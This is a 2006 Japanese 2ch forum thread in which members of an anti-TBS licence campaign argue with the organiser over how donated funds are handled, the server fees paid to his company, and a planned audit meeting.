0381人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 22:14:55ID:E0jKIEt7
>>377
ストリーミング配信は俺の趣味なんでこの件（TBS会計）には無関係です

>>376
スクリプトを誰が組むか？オイラはASP.NETしかできない＝WIN鯖しか駄目
情報流出は？誰が責任を取る？
個人情報の管理云々で文句が出ることもチラッと思ったし
その辺でやはり自分の責任範囲でやりたかったですね
0382エージェント・７７４2006/08/30(水) 22:16:41ID:Vv323HBp
>>380
ちょくちょくＩＤ切り替えるの止めたんだな。
0383Mr48 ◆Mr480ldsAM 2006/08/30(水) 22:17:16ID:nV9J9pKr
>>382
変態はだまってろ
0384エージェント・７７４2006/08/30(水) 22:17:40ID:fe8U5F9q
>>381
監査って、入金と出金が正しく行われているか検査する事であって、
使い道について決める場ではないですよね
鯖代にあてるなら、まずここで相談するべきです

専用の通帳なのに、モザイク入れてもうｐ出来ないのは、
人には見せられない入出金が有るって事ですよね？
とある団体(個人)から入金があったとか
0385エージェント・７７４2006/08/30(水) 22:18:13ID:3d6HPHfG
>>382
はい？
0386エージェント・７７４2006/08/30(水) 22:18:45ID:Sg6CvgEc
>>376
そもそも、最初は「有償」と言う話じゃなかったし
勿論、「無償」とも言ってなかったが

>>381
日経スレの署名鯖代はどうすんだ？
あっちに質問書いてあるから、鯖代のこともあわせて答えてくれよ
0387エージェント・７７４2006/08/30(水) 22:18:53ID:6EOEQYan
>>377
何で撮影するのに身元確認する必要があるのかが理解できない。
デモは団体関係者でんも個人での参加を許し、未成年スタッフも可にする主催者だろ
都合のいい戯言はいいから酒飲んで寝ろよ。
0388人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 22:19:25ID:E0jKIEt7
>>384
全部かぶれお前とか糾弾会になったりしてｗ
0389エージェント・７７４2006/08/30(水) 22:19:48ID:eQZ1Oe7X
>>377
そんな話今はじめて聞いた。
「あっちの鯖は無償だけどストリーミングできないから
有償のｲﾗﾈの鯖使おう。費用はこれこれかかるけどいいよね」と。

そういう合意があったか？
ないだろ？

>>381
つまり、全部お前の独善か。
お前の独善で、カンパをお前の会社の売り上げに当てようと、
そういう決定をお前一人が下したんだな？
0390エージェント・７７４2006/08/30(水) 22:19:58ID:Vv323HBp
>>385
固定に擁護レスするのを
ＩＤ変えながら加えるのを今は止めたんだな。って聞いたんだよ、文盲。
0391人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 22:21:05ID:E0jKIEt7
>>389
会社の方の利益供与に当たらないなら無償でもいいですよ
それを担保してくれれば
0392エージェント・７７４2006/08/30(水) 22:22:44ID:B409E0LQ
普通の感覚ならどっちにしろ誤解されるから他所から借りるなｗ
0393エージェント・７７４2006/08/30(水) 22:23:14ID:3d6HPHfG
>>390
ちょくちょくID変えていませんけど？
0394人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 22:23:19ID:E0jKIEt7
>>391 追記
だから形だけでも費用発生させた方が会計上安心かな？
といってるわけで
0395エージェント・７７４2006/08/30(水) 22:24:25ID:eQZ1Oe7X
>>391
だから、何でそれを後から言い出すんだ？
利益供与に当たるかどうかなんて提供するお前の側だけの話だろう。
問題があるなら引っ込めればいいし、問題があるから有償にすると
言うのなら何で後から言い出すんだ？

0396Mr48 ◆Mr480ldsAM 2006/08/30(水) 22:24:55ID:nV9J9pKr
>>387
まあ、まだそんなに酔ってないから大丈夫

> 何で撮影するのに身元確認する必要があるのかが理解できない。

デモは参加者の意志で行くんだけど、振り込んだ人には予想出来ない事態だしね
そこが違う

> 都合のいい戯言はいいから酒飲んで寝ろよ。
まあ、そんなこと言うなよ
0397人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 22:24:56ID:E0jKIEt7
まあオイラからカンパ入金してそれをTBS帳簿とおして会社行き
なら誰からも文句でないからそうするかな
0398播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 22:25:11ID:3+8vzUQo
>>321
>＞播州赤穂47士
>いろいろとあったようだけど、このトラブルを乗り切るのに イラネとKNに具体的なアドバイスを頼む。

時の流れとともに、落ち着くまで、どうにもならん。
これが、かの有名な「9段階」ってみたいなもんだし。
相手はプロ。
ネチネチ　ネチネチ　重箱の隅っこを際限なく、何度も何度も　ほじくるのが、得意と聞いてます。

そんなこと言ってても、　じゃあ、どうすれば良いのか？

それは簡単。　
もう一度、多数の人達の支持支援を、回復すれば良い。

そのためには、まだ『何』が解決できずにいるから、『大多数』の支持支援が得られないのか？
それを、昨夜も書きましたけど・・・

どこの誰かも分からない『名無しさん』に、「言い訳めいた伝言」を託すとは　アキレタ　
でも、本物と言う前提ですので、ガセかもしれません。
0399エージェント・７７４2006/08/30(水) 22:26:59ID:HJslF+OA
>>394
【い】ナンバーのレンタカーはどうなった？
0400エージェント・７７４2006/08/30(水) 22:27:06ID:eQZ1Oe7X
>>397
なんだそりゃ。
そんな出鱈目なことするくらいなら初めっから他所から借りろよ。
金を請求すると言い出して文句言われたら俺が負担するから良いだろうってか？
馬鹿じゃないの？

もういいや。阿呆らしい。
で、街宣車の件は？
0401人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 22:27:56ID:E0jKIEt7
>>400
実際形だけしっかりしておきたいだけだから・・・
0402エージェント・７７４2006/08/30(水) 22:28:06ID:6EOEQYan
>>397
もういいよ
何を言っても無駄のようだから消えます

４８、俺もいまから酒飲んでねるわ　良い夜を～
0403エージェント・７７４2006/08/30(水) 22:30:09ID:eXIQGiSE
>>399
ああ、どう見てもレンタカーじゃないアレか
0404エージェント・７７４2006/08/30(水) 22:30:17ID:hIgAUTAI
無償だと、街宣車乗り回したりデモしたり一連の他社の利益を損なうようなある意味実力行使的な行為を
イラネの会社が後押ししてるととられかねないから必死なわけ？
0405エージェント・７７４2006/08/30(水) 22:30:36ID:IXQC7Eo7
会計士を使わない会計監査ってあるの？

高校の生徒会で会計監査をやった時は、公認会計士が来たけど･･･。
0406エージェント・７７４2006/08/30(水) 22:30:48ID:wDNtp34v
監査OFFの撮影は他人任せにはできないわな
だって参加するのって所詮ネラーだろ？
どこでどう流出するかわかったもんじゃない！
身内にだって盗撮者がいるってんだから
後々責任とれる人間じゃなきゃだめだろーよ

俺がカンパした１００円が実名公開されたら恥ずかしいしな～
0407Mr48 ◆Mr480ldsAM 2006/08/30(水) 22:32:35ID:nV9J9pKr
>>402
そういうなよ、ココでカキコしても通じない事もあるし、イラネも個人攻撃が大変なんだと思う
オイラがイラネだったらきれてるな
もうちょっとつきあえよ、なんちって
0408エージェント・７７４2006/08/30(水) 22:33:04ID:B409E0LQ
>>405
高校の生徒会クラスだとかなり金額が大きくなるから公認会計士も来るかもね。
地元への貢献としてのボランティアにもなるし。
0409播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 22:33:28ID:3+8vzUQo
>>405
>高校の生徒会で会計監査をやった時は、公認会計士が来たけど･･･。


本人の自由意志による任意の寄付と、強制的な寄付金とは、違うだろ？
0410エージェント・７７４2006/08/30(水) 22:33:38ID:Sg6CvgEc
>>401
日経スレも数は少なくても署名してくれたりカンパしてくれた人たちがいるんだ
無視せずにしっかり答えろよ
0411エージェント・７７４2006/08/30(水) 22:35:17ID:KSb4VLDW
>>405
この場合、税理士でもいいんだけどね。
ただ、それはしないと思うよ。やましい事があり過ぎるから・・・
0412エージェント・７７４2006/08/30(水) 22:38:55ID:DHpEcBvs
無償でやるよと名無しが名乗り出たけど、
イラネ氏がやることになった
そのときに信頼性の問題とか、金銭面はどうなるんだとか
いろいろ議論がなかったというけどその時に突っ込む人がいなかった気がする
今度やる時は議論すればいんじゃないのかな
0413エージェント・７７４2006/08/30(水) 22:39:42ID:DNhFdcDg
このスレにカキコしてる名無しさんたちのほうが
よほど綿密にチェックできるような気はするｗ
まあ、会計士や税理士は税法にのっとって会計処理が
されてるかどうかを見るのがメインだから
このｽﾚで論議されてることとはチョット違うかもよ。
0414播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 22:40:10ID:3+8vzUQo

ｲﾗﾈ氏、しばらくは、いばらの道　だけど、仕方ないよ。

でも、大阪のナントカ病院は、あの問題発覚とともに「いばら」を取りはずした。
0415Mr48 ◆Mr480ldsAM 2006/08/30(水) 22:43:49ID:nV9J9pKr
>>413
じゃあ、っどうするか？会計OFF参加者がみんなでこれはヤバイとかココまではイイとか決めて
ら画像を撮影し、公開する感じかな
どうよ？
だけど参加者には誰が１００エンカンパしたかはばれるけどな
0416エージェント・７７４2006/08/30(水) 22:43:57ID:tW3ATH0c


　　　　　　イラネ氏への質問まとめ


13 ：エージェント・７７４：2006/08/30(水) 02:08:40 ID:dJjerJsp
ＴＢＳの免許剥奪運動をやってる方々に質問があります。
総務省がＴＢＳの放送免許を取り消し、あるいは停止することができる法的根拠を知りたいです。
なんという法律の第何条の何々という規定に基づき処分ができるという形式で教えていただけないでしょうか。

255 ：エージェント・７７４：2006/08/30(水) 19:30:55 ID:i2MJuUoF
で、活動はこれで終わったの？
無視して続ければ？

256 ：エージェント・７７４：2006/08/30(水) 19:36:46 ID:HJslF+OA
真剣にこの運動続けたいならここでやらずに違うところでやればいいと思うよ？

239 ：エージェント・７７４：2006/08/30(水) 19:01:22 ID:Vqo3Cso4
個人情報流失するまえに
署名を取り消したいんですが？
できますか？？

303 ：エージェント・７７４：2006/08/30(水) 21:05:11 ID:R68eeP4c
>>299
署名提出した後、イラネはこっちの活動からは手を引くの？
0417エージェント・７７４2006/08/30(水) 22:46:02ID:HJslF+OA
「いばら」を外すと全く話題に出なくなったな。某病院。
0418エージェント・７７４2006/08/30(水) 22:47:25ID:IXQC7Eo7
>>408>>409>>411
＞＞405でうまく表現できなかったんだけど、
私が言いたかったのは会計士が来ない監査は
「監査」と言わないんじゃない？ってことです。
0419エージェント・７７４2006/08/30(水) 22:47:31ID:R68eeP4c
>>416
自分のは消しといて
答えたくないなら別に答えてもらわなくてもいいし
0420播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 22:47:46ID:3+8vzUQo
>みんなでこれはヤバイとかココまではイイとか決めて

そんなこと言うから、また　揚げ足取りで突っ込まれる。
早く気付けよ、まったく。
0421エージェント・７７４2006/08/30(水) 22:50:24ID:HuwnNfOV
実際、大赤字になってこれからの活動の選択肢を
狭めて一気に盛下げた責任は取らないの？
0422播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 22:50:59ID:3+8vzUQo
>>417

今の状況が、いはゆる「9段階」かな？

だけど、大阪のナントカ病院は、問題発覚とともに「いばら」を取りはずした。
立場が変れば、心も変わる。

人間とは、そのような『勝手』を基本に作られています。
0423エージェント・７７４2006/08/30(水) 22:51:34ID:l8BZoO3W
>>420
>397 ：人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc ：2006/08/30(水) 22:24:56 ID:E0jKIEt7
>まあオイラからカンパ入金してそれをTBS帳簿とおして会社行き
>なら誰からも文句でないからそうするかな
これ、呆れないか？
0424人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 22:53:04ID:E0jKIEt7
>>423
目的は会社と運動を切り離すこと
公私混同を避けたいだけです
0425エージェント・７７４2006/08/30(水) 22:53:41ID:DNhFdcDg
>>418
んなこたない
0426エージェント・７７４2006/08/30(水) 22:53:51ID:s2ZeADya
やはりこのスレの運動はメディアへの言論弾圧だった。
0427エージェント・７７４2006/08/30(水) 22:53:53ID:HJslF+OA
>>422
その「いばら」を見つけるために市民オンブズマンが影で努力してたんだけどね。

0428播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 22:54:07ID:3+8vzUQo
>>423
>これ、呆れないか？

自腹を切ってまで公的活動なんか、したことのないような、とある団体組合員の人には、
そりゃ　あきれるだろうけど・・・

ありえねぇーーーって。

0429エージェント・７７４2006/08/30(水) 22:55:12ID:eXIQGiSE
>>424
そもそもアンタ働いてるかどうかも疑問だけどなw
0430エージェント・７７４2006/08/30(水) 22:55:55ID:sqkgUGZF
軽口やジョークとはいえ、
よそ様の金を管理してるヤツが言ってイイことと悪いことを判断できないとは。。。
0431播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 22:58:40ID:3+8vzUQo

国民の税金なのに、私腹肥やし、それが当然みたいな　そんな金銭感覚の『人達』からすれば、
今回のｲﾗﾈ氏の自腹を切ってまで活動するなんて、

　　　　　　　　　ありえねぇーーー
0432エージェント・７７４2006/08/30(水) 22:59:12ID:tW3ATH0c
>>428
自分の会社のサーバーを提供した後で
カンパ金から費用ください、公私混同は避けたいのでと言われると
ありえねーと思う人もいるよ。
0433エージェント・７７４2006/08/30(水) 23:00:09ID:ILbokUrt
集めた金は自分の金
他人様の大切なお金を預かっているという認識は無いそうです
0434Mr48 ◆Mr480ldsAM 2006/08/30(水) 23:01:12ID:nV9J9pKr
>>426
> やはりこのスレの運動はメディアへの言論弾圧だった。
>
今のメディアが行う世論誘導は反反日弾圧誘導報道だった。

じあまり
>>430
オマエが個人攻撃うけてて逆の立場だったら冷静にレスできるのか、言葉じりでとやかくいうなよ
0435エージェント・７７４2006/08/30(水) 23:02:03ID:6EOEQYan
>>424
ｺﾞﾒﾝ　最後に戯言をひとつ書き込ませて

一旦カンパ金の通帳に振り込んだならば会の運営費として使用しなければいけない
それを自分がカンパしたお金だとしても自らの会社鯖を選択する理由にならない。
公私混同されているのはあなた自身です。
0436エージェント・７７４2006/08/30(水) 23:02:07ID:HJslF+OA
>>434
自分に非がなければ出来るんじゃない？
0437エージェント・７７４2006/08/30(水) 23:03:55ID:pFsihcm4
多少の攻撃でオロオロするよーなヘタレなら端っから出てくんなよ。
絶賛の嵐でヒーローになれるとでも思ったかｗｗ
0438エージェント・７７４2006/08/30(水) 23:03:58ID:1MXoUr/Q
ｶﾝﾊﾟ流用疑惑濃厚過ぎ
とにかく監査OFFﾔﾚ
0439エージェント・７７４2006/08/30(水) 23:04:38ID:7MkJIhNb
どこで切っても独善しかないね
0440人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 23:05:35ID:E0jKIEt7
>>435
もし監査OFFでそのような意見がた多ければ
パワーアップ傘下のコンテンツという名目でTBS会計通さずに会社に入金します

やりかたはいくらでもある
TBS会計を通して出すのが最も明瞭だとは思いますが
目的はこの運動を会社と切り離すことだから名目は問いません
0441Mr48 ◆Mr480ldsAM 2006/08/30(水) 23:06:00ID:nV9J9pKr
>>436
> >>434
> 自分に非がなければ出来るんじゃない？
どうだかな、オレが実名晒してこんな状況になってたらと考えるとなー
多分できない、冷静ではいられないだろう

そんな気持ちはわからないだろうな、わかってやってるのかもな
0442エージェント・７７４2006/08/30(水) 23:06:03ID:vOjU8/5a
イラネが納得するための監査オフｗｗｗ
0443エージェント・７７４2006/08/30(水) 23:06:51ID:KSb4VLDW
>>418
会計士と監査法人は厳密に言うと違うよ。
0444エージェント・７７４2006/08/30(水) 23:06:53ID:HJslF+OA
>>441
とりあえずシラフになったらまたレスしてくれ。
0445エージェント・７７４2006/08/30(水) 23:07:13ID:tW3ATH0c
>>431播州赤穂47士さん
>>434Mr48さん
申し訳ないがスレ住人とオフ主催者イラネ氏が
質疑応答してる貴重な時間なので書き込みは
もう少しお待ちください。
0446エージェント・７７４2006/08/30(水) 23:07:15ID:l8BZoO3W
>>424
カンパした一般のネラーはカンパ金をどう使うか、決定権は無い
が、イラネは自分のカンパした分を何に使うか、決定権がある訳だ
0447エージェント・７７４2006/08/30(水) 23:07:34ID:B409E0LQ
>>440
なら鯖自体他所に外注すればいいんじゃない？w
それこそびんぼーさーばぁー使おうよｗ
0448エージェント・７７４2006/08/30(水) 23:08:46ID:R68eeP4c
>>446
カンパなんだからそれでいいと思うんだけどなぁ
0449人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 23:09:04ID:E0jKIEt7
>>446
一任だし俺を信頼してのカンパだから
その信頼にこたえるよう努力しています
0450人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 23:09:40ID:E0jKIEt7
逆に言うと使途一任がない場合は運動の乗っ取りができるわけです
これは怖い
0451エージェント・７７４2006/08/30(水) 23:09:51ID:r4UxPb8h
もうあほすぎて話にならんｗ

例え本当にカンパ流用してたとしても
それ以上に個人負担多かったら
赤字じゃねーかｗｗｗｗｗ詐欺してる意味がねぇｗｗｗｗｗｗｗ

何をたたいてるのかわからんｗｗｗｗｗ
そもそもカンパって個人負担がきついからお金ちょうだいってことだろｗｗｗｗ

何はともあれ監査OFF楽しみにしております。
0452エージェント・７７４2006/08/30(水) 23:10:34ID:PotuVLIe
そして垢がでたら全額自己負担・・・
0453播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 23:10:42ID:3+8vzUQo
>>445
なんで？
0454Mr48 ◆Mr480ldsAM 2006/08/30(水) 23:11:02ID:nV9J9pKr
>>445
わっかったけどいつまで？
まあ様子みてます
0455エージェント・７７４2006/08/30(水) 23:11:17ID:HJslF+OA
>>440
この運動と会社を切り離すならなぜ最初っからそれが出来なかった？
署名サイトのセキュリティの問題があったってさっきレスしてたけど。
他で安全なサーバー借りる事は選択肢になかったのか？
0456人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 23:11:51ID:E0jKIEt7
俺もだんだん役人答弁になってきたなｗ
ねるぽ

とにかく俺個人が年間で運動つぎ込める金は50万が限度だわｗｗｗ
楽しいけどな
0457エージェント・７７４2006/08/30(水) 23:12:28ID:ILbokUrt
>>440
TBS会計から払うって事は、この運動と会社が直接関係（取引）している事になる
切り離すなら、(ﾟ⊿ﾟ)ｲﾗﾈが個人的に会社に金を払って鯖を借り、
それを個人的にこのオフに貸せばいい
0458エージェント・７７４2006/08/30(水) 23:12:33ID:HJslF+OA
>>456
最後に。
【い】ナンバーのレンタカーはなんなの？
0459エージェント・７７４2006/08/30(水) 23:13:43ID:tW3ATH0c


>>416の質問まとめが放置されたままだぞー>イラネ氏
0460エージェント・７７４2006/08/30(水) 23:13:54ID:7B6rfU+Y
ところで、領収証は公開しないとのことですが
監査オフの参加者としては、それこそ工作員さんも行けるんだろｗ
それはいいのか？
それともそういう指摘を待っていて、指摘されたら「監査オフやめる」という
言い訳にしようとしてるのかな？なんて、まさか言わないよなwww


それと、たしかにイラネは、後ろめたくなければあっさり答えられる
街宣車に関する質問を、ちょっと異常なくらいごまかしつづけてるな。

誰かも指摘してたが、URLだけを書いたのは、そこで借りたように
名無しに勝手に思わせておくことを狙ってるのかもしれん。
とにかく言質を取られないように、回避してるつもりなんだろうが、
それが却って不審を煽っている。
それとも実は、そうしておいてもっと別のやばいものから
目を逸らしたいための煙幕の一つなのか。
0461エージェント・７７４2006/08/30(水) 23:13:55ID:QBtCyLyW
のっとりってアホか
オマイよりいいプランナーが現れても、｢乗っ取り｣で排除しちまうのかよ。
事実、ｲﾗﾈ・ＫＮのマネージメントは失敗してるし。
0462エージェント・７７４2006/08/30(水) 23:14:19ID:B409E0LQ
>>456
とにかく俺個人が年間で運動つぎ込める金は50万が限度だわｗｗｗ
とにかく俺個人が年間で運動つぎ込める金は50万が限度だわｗｗｗ
とにかく俺個人が年間で運動つぎ込める金は50万が限度だわｗｗｗ

その割にはいきなり激しい無駄遣いしてるねｗ
0463人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 23:16:09ID:E0jKIEt7
>>455
いやWIN鯖でSQLあって安定して管理できてサーバー管理者の名前公開できて
とか考えるとタイミングもあるし
合理的な判断だと思うけど
0464人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 23:16:48ID:E0jKIEt7
>>457
それがいいようだNE
そうするﾉｼ
0465エージェント・７７４2006/08/30(水) 23:16:54ID:Vv323HBp
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0466エージェント・７７４2006/08/30(水) 23:16:59ID:wDNtp34v
なあなあ、割腹してんのに突っつくことねーんじゃね？
武士道の精神に反するなー
誰も得してないんだから文句言うことねーべ？

俺は死人に唾吐くようなこと出来ねーな
0467エージェント・７７４2006/08/30(水) 23:17:46ID:3d6HPHfG
>>460
>それこそ工作員さんも行けるんだろｗ
だから身分を確認するんじゃ？
0468エージェント・７７４2006/08/30(水) 23:18:46ID:HJslF+OA
>>467
身分証見ただけで工作員かそうじゃないのかの判断基準って何だろうね。
0469エージェント・７７４2006/08/30(水) 23:21:00ID:tW3ATH0c
>>453播州赤穂47士さん
>>454Mr48さん
イラネ氏の負担をなるべく減らして返答に集中させてあげたいからです。
最初に私が播州赤穂47士さんに質問したのは申し訳ない。
0470エージェント・７７４2006/08/30(水) 23:21:47ID:RCZhNKYq
今更かもしれんがＲＯＭとして提案。

イラネ氏など運営に質問したい奴はコテつければ？
コテっつっても質問専用コテ
質問します◆～～～みたいな。
で、そいつがν速か議論スレかなんかでまとめてここで相談。
じゃないと監査オフのテンプレとかも流れて同じ質問ばっかになるだろ。

イラネ氏の負担も少しは考えれ。見てられん。
0471エージェント・７７４2006/08/30(水) 23:22:27ID:ILbokUrt
>>464
お金払わなくても、鯖と回線のテスト兼ねて借り受けたって事でもいいと思う
0472Mr48 ◆Mr480ldsAM 2006/08/30(水) 23:24:05ID:nV9J9pKr
>>469
おｋ
0473エージェント・７７４2006/08/30(水) 23:24:05ID:Vv323HBp
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0474エージェント・７７４2006/08/30(水) 23:24:42ID:3d6HPHfG
>>468
さあ超能力者じゃないからね。
あなたには見分けが出来るのでしょうけど。
0475エージェント・７７４2006/08/30(水) 23:25:26ID:HJslF+OA
>>470
そうだな。
質問する時はトリップつけようか。
0476エージェント・７７４2006/08/30(水) 23:30:35ID:tW3ATH0c
>>470
質問したいやつは質問専用コテつけろには賛成ですが
質問まとめはイラネ氏にスルーされがちです。
0477Mr48 ◆Mr480ldsAM 2006/08/30(水) 23:30:43ID:nV9J9pKr
今回の監査OFFなら実名晒しているイラネ氏のみ実名を知ることは問題ないだろう
ハッキリいって、実名晒したKN氏とイラネ氏を利用して来たわけだからな

色々できたし、楽しませてもらったわけだから


0478エージェント・７７４2006/08/30(水) 23:34:46ID:HJslF+OA
>>477
どういう意味で言ってる？
真剣にカンパした人らがキレるよ？
0479播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 23:37:26ID:3+8vzUQo
>>469

もう書いて良いの？

0480エージェント・７７４2006/08/30(水) 23:37:27ID:ILbokUrt
>>477
通帳うｐ＆領収書うｐ出来ないと、胡散臭いところがあるから問題になってる
ネット上で集めたら、ネット上で公開するべき事
やましいところが無いなら、個人情報等にモザイクかけて公開できるでしょう
そんな奴に住所氏名知られて脅される可能性あるから、問題あり
0481エージェント・７７４2006/08/30(水) 23:38:00ID:R68eeP4c
キレてないよ
0482エージェント・７７４2006/08/30(水) 23:38:52ID:Vv323HBp
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0483エージェント・７７４2006/08/30(水) 23:41:50ID:7MkJIhNb
こっちは○○してんだから文句言うな
こっちは○○してんだから○○しろ

あほか
0484播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 23:43:42ID:3+8vzUQo
>>469

もう書いて良いの？
0485エージェント・７７４2006/08/30(水) 23:44:48ID:iLX22KQ0
>>477
あんたバカぁ？
0486エージェント・７７４2006/08/30(水) 23:44:58ID:BCiQdRMc
>>484
もう書いてンじゃんｗ
0487Mr48 ◆Mr480ldsAM 2006/08/30(水) 23:46:32ID:nV9J9pKr
>>480
> >>477
> 通帳うｐ＆領収書うｐ出来ないと、胡散臭いところがあるから問題になってる
> ネット上で集めたら、ネット上で公開するべき事
> やましいところが無いなら、個人情報等にモザイクかけて公開できるでしょう
> そんな奴に住所氏名知られて脅される可能性あるから、問題あり そ

れこそ相手が分かってるんだから、きっちち追い込めばいいんでないの

>>484
>>486


>>485
しつれいなことを
0488４６９2006/08/30(水) 23:51:36ID:tW3ATH0c
イラネ氏は休まれたようですからどうぞ。
0489エージェント・７７４2006/08/30(水) 23:51:45ID:iLX22KQ0
>>487
じゃわざわざ２ｃｈでする事じゃないよな？
　　直　　　　接　　　　　　話　　　　　　せ　　　　　　と　　　　　　　い　　　　　　う　　　　　　　な　　　　　　　ら　
　　
0490エージェント・７７４2006/08/30(水) 23:52:53ID:W2Wv7EaS

★今北産業用テンプレ：ピックル（ピットクルー）とは？


【ネット】亀田擁護カキコミは 「プロ工作員」の仕業？…TBS「よくわかりません」★12
http://news19.2ch.net/test/read.cgi/newsplus/1155383189/l50
【ネット】ネット「世論操作」、「工作員」暗躍してカキコミ…請け負う会社の正体★６
http://news19.2ch.net/test/read.cgi/newsplus/1155382839/l50
【ネット世論操作】亀田選手の協栄ジム掲示板や某オークションサイトも？　書き込み不可なのに、なぜか賞賛コメントだけ毎日追加★３
http://news19.2ch.net/test/read.cgi/newsplus/1155760177/l50
【ボクシング】亀田興毅　協栄ジムＨＰの怪 (ゲンダイネット)
http://news18.2ch.net/test/read.cgi/mnewsplus/1155863225/l50
【亀田王者】書き込み不可なのに何故か賞賛コメントだけ毎日追加　協栄ジム掲示板　疑惑指摘後に閉鎖
http://news19.2ch.net/test/read.cgi/newsplus/1156233876/l50

655 ：名無しさん＠６周年：2006/08/09(水) 23:54:31 ID:j4LKkGqI0

ｽｹﾞｰｰｰｰｰｰｰｰｰ！携帯何台も並べて工作活動するピックル社員
二人にPC２台と携帯９台ｗｗｗｗｗｗｗｗｗｗ

http://froma.yahoo.co.jp/s/rqmt/img_ext/00911688.jpg
自演しまくりﾜﾛﾀw

大手コミュニティーサイトでの掲示板監視業務
【体制】常時3名（24時間）

大手ポータルサイトの違法投稿を監視・削除
【監視体制】常時30名（24時間）
日本有数の大手ポータルサイトに対し、イメージアップを最大の目的とした有人監視を実施。750万件／月に及ぶ投稿のなかから、違法な投稿やユーザを不快にする投稿を検閲しています。
監視作業は現在も継続中で、月平均約20万件の問題投稿を検閲・削除することにより、コミュニティの健全化を下支えしています。
お客様が発行するニュースリリースなどにも監視情報が随時掲載され、利用者の安心を促すことでサイト規模拡大にも貢献しています
0491エージェント・７７４2006/08/30(水) 23:54:10ID:/eU0i3uZ
>>489
つ OFF板
0492Mr48 ◆Mr480ldsAM 2006/08/30(水) 23:54:55ID:nV9J9pKr
>>489
何が言いたいの？
0493エージェント・７７４2006/08/30(水) 23:55:52ID:Vv323HBp
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　　　　ミミ 　 ヾェｪｪﾉ　 /彡 　　　
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0494エージェント・７７４2006/08/30(水) 23:56:00ID:6EOEQYan
>>487
やっぱり飲みながらレスするわ。

前から聞きたかったんだけど今回の活動はおまい的には成功だち思う？
具体的に例をあげておしえてよ。お願いします。
0495エージェント・７７４2006/08/30(水) 23:56:41ID:HJslF+OA
ここはオフ板なんだし署名とデモは別にするべきだったな。

あとの祭りだけど。
0496エージェント・７７４2006/08/30(水) 23:57:43ID:/eU0i3uZ
>>495
それでもまた乱立とか言われそうだが
0497エージェント・７７４2006/08/30(水) 23:57:58ID:Vv323HBp
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0498エージェント・７７４2006/08/30(水) 23:58:50ID:/eU0i3uZ
>>495
でもそうした方が後々楽だったな
まあ結果論だがな
0499エージェント・７７４2006/08/30(水) 23:59:27ID:ILbokUrt
>>487
きっちち追い込むって具体的にどういう事？
0500Mr48 ◆Mr480ldsAM 2006/08/31(木) 00:00:07ID:nV9J9pKr
>>494
オレ一人じゃ何もできなかった、でも実名晒して先頭切ってくれたヤツがいたから
総務省に署名提出できた
成功と言えば大成功だよ
0501エージェント・７７４2006/08/31(木) 00:00:38ID:tW3ATH0c
>>470
イラネ氏にまとめた質問に答えてくれるようにうながしてくれるなら
明日も質問まとめを作っていいですよ。
0502播州赤穂47士 ◆1GFDZ1iNhA 2006/08/31(木) 00:00:40ID:3+8vzUQo

このように、いつまでも運営ミスを攻撃される状況に陥ってしまえば、
もう、こうなった「真の原因」が、何なのか？
それを解決するしかない。

だから、何度も「泣いて馬ショクを斬る」しかないと書いてきました。
でも、ｲﾗﾈ氏は、それについて『彼の意思』と言う説明だったから、
いつまでも「構造的問題」が解決しないので、このように突っ込まれても、
大多数のROMネラーも、未消化のままになっている。

今回のような不明朗な金銭問題は、どんなに情報開示しても、それでも突っ込まれる。
相手は、運動そのものを潰すのが目的なのだから。

それよりも大切なことは、カンパした人達とか、署名参加した人達との人間関係の修復、
その信頼と信用が、大きく失墜したから、それを如何にして回復すれば良いのか？

どのようにすれば、回復修繕できるのか？ それが、もっとも重要な課題。
今ココでこのように騒いでも、何も解決しない。
こんなことしてたら、運動そのものが潰れる。
それこそ相手側の思う壺だし、それが狙いなんだから。

だから、「泣いて馬ショクを斬る」しかない。
(「ショク」の変換が分からん、「鹿」で良かった？)

結果において、このようになったら、責任を執るのがスジ。
0503エージェント・７７４2006/08/31(木) 00:02:24ID:iLX22KQ0
>>492
せめて２ｃｈでやるならスレ上でちゃんとやればいい。
中継無しの監査なんておままごと以下じゃね？
0504エージェント・７７４2006/08/31(木) 00:07:06ID:+Y2m9sfr
>>503
文字見えない距離からでいいから中継はしてほしいな
流用があったらは周りの人間の反応でわかるだろうし
0505エージェント・７７４2006/08/31(木) 00:07:58ID:ZSOQG2Hm
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0506エージェント・７７４2006/08/31(木) 00:10:27ID:eP4DGdIE
>>502

【泣いて馬謖を斬る】
「ないてばしょくをきる」

中国の三国時代、蜀(しょく)の諸葛孔明(しょかつこうめい)は
日ごろ重用していた臣下の馬謖が命に従わず魏に大敗したために
泣いて斬罪に処したという「蜀志」馬謖伝の故事から

規律を保つためには、たとえ愛する者であっても、違反者は厳しく処分することのたとえ。


